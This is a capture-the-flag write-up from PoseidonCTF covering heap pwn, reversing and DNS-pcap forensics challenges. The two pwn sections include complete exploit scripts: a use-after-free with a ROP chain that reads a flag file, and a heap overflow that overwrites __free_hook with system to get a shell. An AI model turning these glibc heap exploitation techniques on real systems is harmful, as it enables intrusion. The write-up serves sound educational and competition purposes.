PoseidonCTF 1st Edition had been held from August 8th, 17:00 to 9th, 17:00 UTC. I played it in zer0pts and reached 3rd place.
Pwn tasks are well-designed but I couldn't solve/check all of them because I had to check forensics and reversing. Although there were some management issues, I enjoyed the CTF overall. Thank you for hosting the CTF!
Other members' writeup:
- [Pwn 977pts] Cards
- [Pwn 995pts] Oldnote
- [Rev 100pts] The Large Cherries
- [Rev 453pts] Mixer
- [Forensics 949pts] Baby Pcap
We're given an x86-64 ELF.
$ checksec -f cards RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 2 cards
It's a normal heap challenge but the version of libc is 2.32. In this version of libc, it introduced a mitigation against heap exploitation in tcache and fastbin.
Also, this program sets up seccomp:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x06 0x00 0x00 0x00000000 return KILL
Anyway, let's check the vulnerability first. The program basically determines if a card is alive by checking a flag for each card.
mov eax, [rbp+index] lea rdx, ds:0[rax*4] lea rax, deleted_flag mov eax, [rdx+rax] test eax, eax jz short loc_BA8
However, it uses the pointer to a card in order to check the existence.
mov eax, [rbp+index] lea rdx, ds:0[rax*8] lea rax, cardList mov rax, [rdx+rax] mov rax, [rax+18h] test rax, rax jnz short loc_CB6
This causes Use-after-Free.
The structure of a card looks like this:
typedef struct { int size; long id; void *name; } CardInfo; typedef struct { long id; char color[8]; CardInfo *info; long is_used; } Card;
We can overlap a name buffer and a (freed) structure by heap feng shui. As the input is not terminated by NULL, we can easily leak a heap pointer.
add(0x28, "0", "0") delete(0) add(0x28, "1", "1" * 0x10) heap_base = u64(view(1)[2][0x10:]) - 0x2d0 logger.info("heap = " + hex(heap_base))
By abusing the UAF, I overwrote the chunk size to a large value in order to create unsortedbin-size fake chunk. And in same principle, we can leak the libc address.
The point here is we can make AAR/AAW primitive thanks to UAF.
I leaked the stack pointer from environ
(AAR) and overwrote the return address of edit
(AAW) to run ROP chain.
This is my exploit:
from ptrlib import * def add(size, color, name): sock.sendlineafter(": ", "1") sock.sendafter(": ", str(size)) sock.sendafter(": ", color) sock.sendafter(": ", name) def delete(index): sock.sendlineafter(": ", "2") sock.sendlineafter(": ", str(index)) def edit(index, name): sock.sendlineafter(": ", "3") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", name) def view(index): sock.sendlineafter(": ", "4") sock.sendlineafter(": ", str(index)) no = int(sock.recvregex(": (\d+)\.")[0]) size = int(sock.recvregex(": (\d+)\.")[0]) name = sock.recvregex(": (.+)\.")[0] return no, size, name libc = ELF("./libc-2.32.so") sock = Socket("poseidonchalls.westeurope.cloudapp.azure.com", 9004) add(0x28, "0", "0") delete(0) add(0x28, "1", "1" * 0x10) heap_base = u64(view(1)[2][0x10:]) - 0x2d0 logger.info("heap = " + hex(heap_base)) add(0x88, "2", "2") delete(2) payload = b'3' * 0x10 payload += p64(heap_base + 0x290) add(0x88, "3", payload) edit(2, p64(0) + p64(0x421)) add(0xff, "4"*4, "4"*0x80 + "/home/challenge/flag\0") add(0xff, "5"*4, b"5"*0xc0 + p64(0x21)*8) delete(1) add(0x88, "6", "6") libc_base = u64(view(6)[2]) - 0x36 - 0x3b6f00 logger.info("libc = " + hex(libc_base)) payload = b'7' * 0x10 payload += p64(libc_base + libc.symbol("environ")) add(0x30, "A" * 4, payload) addr_stack = u64(view(3)[2]) logger.info("stack = " + hex(addr_stack)) rop_pop_rax = libc_base + 0x00039717 rop_pop_rdx = libc_base + 0x00001b9e rop_pop_rdi = libc_base + 0x0002201c rop_pop_rsi = libc_base + 0x0002c626 rop_pop_rbp = libc_base + 0x00021e13 rop_ret = libc_base + 0x000008aa rop_xchg_eax_edi = libc_base + 0x0003c88e rop_syscall = libc_base + 0x000398d9 rop_leave = libc_base + 0x00040ab2 chain = flat([ rop_pop_rsi, 0, rop_pop_rdi, heap_base + 0x500, rop_pop_rax, 2, rop_syscall, rop_xchg_eax_edi, rop_pop_rsi, heap_base, rop_pop_rdx, 0x200, rop_pop_rax, 0, rop_syscall, rop_pop_rdi, 1, rop_pop_rax, 1, rop_syscall, ], map=p64) add(len(chain), "chain", chain) payload = b'7' * 0x10 payload += p64(addr_stack - 0x200) edit(7, payload) payload = p64(rop_ret) * 14 payload += p64(rop_pop_rbp) + p64(heap_base + 0x428) + p64(rop_leave) edit(3, payload) sock.interactive()
2nd heap challenge.
$ checksec -f oldnote RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 3 oldnote
The program only has "new" and "delete" functions.
$ ./oldnote ================== | menu | ================== | 1. new note | | 2. delete note | | 3. give up | ================== choice :
Although I couldn't find any vulnerabilities in the binary, I felt the following check weird.
loc_1380: lea rdi, format ; "Note size : " mov eax, 0 call _printf mov eax, 0 call readint mov [rbp+size], eax cmp [rbp+size], 0FFh jle short loc_13B8
The size is signed and must be less than 0xFF. It's sign extended when it being passed to malloc.
mov eax, [rbp+size] cdqe mov rdi, rax ; size call _malloc
One more suspicious thing, which is the main concept of this challenge, is that it uses libc-2.26. I did search for a vulnerability and immediately found this:
I had been stuck after this for a while because read
function failed when something big (like 0xfffffffd) was passed as its 3rd argument.
However, I could finally overcome this by ulimit -s unlimited
.
Now it's just a simple heap overflow challenge. Here is my exploit:
from ptrlib import * def new(size, data): sock.sendlineafter(": ", "1") sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) def delete(index): sock.sendlineafter(": ", "2") sock.sendlineafter(": ", str(index)) libc = ELF("./libc-2.26.so") sock = Socket("poseidonchalls.westeurope.cloudapp.azure.com", 9000) new(0x18, "A" * 0x18) new(0x28, "unsorted bin") new(0x38, "overlap man") for i in range(6): if i == 4: new(0xb0, p64(0x21) * 22) else: new(0xf0 - i*0x10, "dummy") delete(3) delete(0) new(-3, b"B" * 0x18 + p64(0x421)) delete(1) delete(2) new(0x28, "hoge") delete(0) payload = b'B' * 0x18 payload += p64(0x31) payload += p64(0) * 5 payload += p64(0x41) payload += b'\x20\x77' new(-3, payload) new(0x38, "dummy") payload = p64(0xfbad1800) payload += p64(0) * 3 payload += b'\x88' new(0x38, payload) libc_base = u64(sock.recvline()[:8]) - libc.symbol("_IO_2_1_stdin_") logger.info("libc = " + hex(libc_base)) delete(2) delete(1) delete(0) payload = b'B' * 0x18 payload += p64(0x31) payload += p64(libc_base + libc.symbol("__free_hook")) new(-3, payload) new(0x28, "/bin/sh\0") new(0x28, p64(libc_base + libc.symbol("system"))) delete(1) sock.interactive()
This solver guesses 4-bits.
This challenge is too simple to explain the solution.
from z3 import * from ptrlib import * magic = [BitVec("magic{}".format(i), 8) for i in range(8)] s = Solver() s.add(magic[3] + magic[0] == 0xab) s.add(magic[3] == 0x37) s.add(magic[1] ^ magic[2] == 0x5d) s.add(magic[4] - magic[2] == 0x05) s.add(magic[4] + magic[6] == 0xa2) s.add(magic[5] == magic[6]) s.add(magic[6] == 0x30) s.add(magic[7] == 0x7a) r = s.check() if r == sat: m = s.model() else: print(r) exit(1) secret = ['?' for i in range(8)] for d in m.decls(): secret[int(d.name()[5:])] = chr(m[d].as_long()) print(''.join(secret)) sock = Socket("poseidonchalls.westeurope.cloudapp.azure.com", 9003) sock.sendlineafter(": ", ''.join(secret)) sock.sendlineafter(": ", ''.join(secret) + '\x00A') sock.interactive()
We're given an x86-64 ELF. The program first unpackes the main function by a simple XOR decoder. I unpacked the binary.
with open("mixer", "rb") as f: buf = f.read() for i in range(0x12000, 0x12000 + 0x791): buf = buf[:i] + bytes([buf[i] ^ 0x2a]) + buf[i+1:] with open("unpacked", "wb") as f: f.write(buf)
I analysed the unpacked code and wrote a pseudo C code.
char hoge[] = "\x55\x40\x89\xe5\x90\x90\x40\x89\xec\x5d"; char answer[] = "\x84\xd3\xb8\xca\xe2\x36..."; char rep_hoge[0x100]; char password[0x20]; char encrypted[0x20]; int main() { int i; char j; write(1, "Enter psasword: ", 0x10); for(i = 0; i < 0x100; i++) { box[i] = i; } j = 0; for(i = 0; i < 0x100; i++) { if (j >= 10) j = 0; rep_hoge[i] = hoge[j]; } j = 0; for(i = 0; i < 0x100; i++) { j += rep_hoge[i] + box[i]; char tmp = box[i]; box[i] = box[j]; box[j] = tmp; } char temp_pass[0x20]; read(0, password, 0x20); for(i = 0; i < 0x20; i++) { password[i] = temp_pass[i]; } j = 0; for(i = 0; i < 0x20; i++) { j += box[i + 1]; char tmp = box[i+1]; box[i+1] = box[j]; box[j] = box[i+1]; encrypted[i] = box[box[i+1] + box[j]] ^ password[i]; } assert(memcmp(encrypted, answer, 0x20) == 0); }
Obviously it's RC4. So, simply decrypting it by RC4 generates the flag.
with open("./unpacked", "rb") as f: f.seek(0x12147) key = f.read(10) answer = f.read(0x20) password = b'' box = [i for i in range(0x100)] j = 0 for i in range(0x100): j = (j + key[i % 10] + box[i]) % 256 box[i], box[j] = box[j], box[i] j = 0 for i in range(0x20): j = (j + box[i+1]) % 256 box[i+1], box[j] = box[j], box[i+1] password += bytes([ box[(box[i+1] + box[j]) % 256] ^ answer[i] ]) print(password)
We have a packet capture file. When I started looking into this challenge, [@st98] had already found it's about DNS query and extracted the list of the queried domain names.
gateway.discord.gg gateway.discord.gg 103.40.186.35.bc.googleusercontent.com 103.40.186.35.bc.googleusercontent.com 103.40.186.35.bc.googleusercontent.com ...
I found some of the IP addresses are invalid like "XXX.256.YYY.ZZZ." @st98 suggested to use octal number somehow. I decoded the first octet as octal number where the second octet is 256.
with open('queries.txt') as f: s = f.read().splitlines() res = '' y = 0 for line in s: ip = line.split('.')[:4] y = (y + 1) % 4 if y != 0: continue lip = 0 try: for i, x in enumerate(ip[::-1]): lip |= int(x) << 8 * i except: continue if int(ip[1]) > 255: res += chr(int(ip[0], 8)) print(res)
Wow, this is guessy.
[TODO] Add writeup of grocery shop.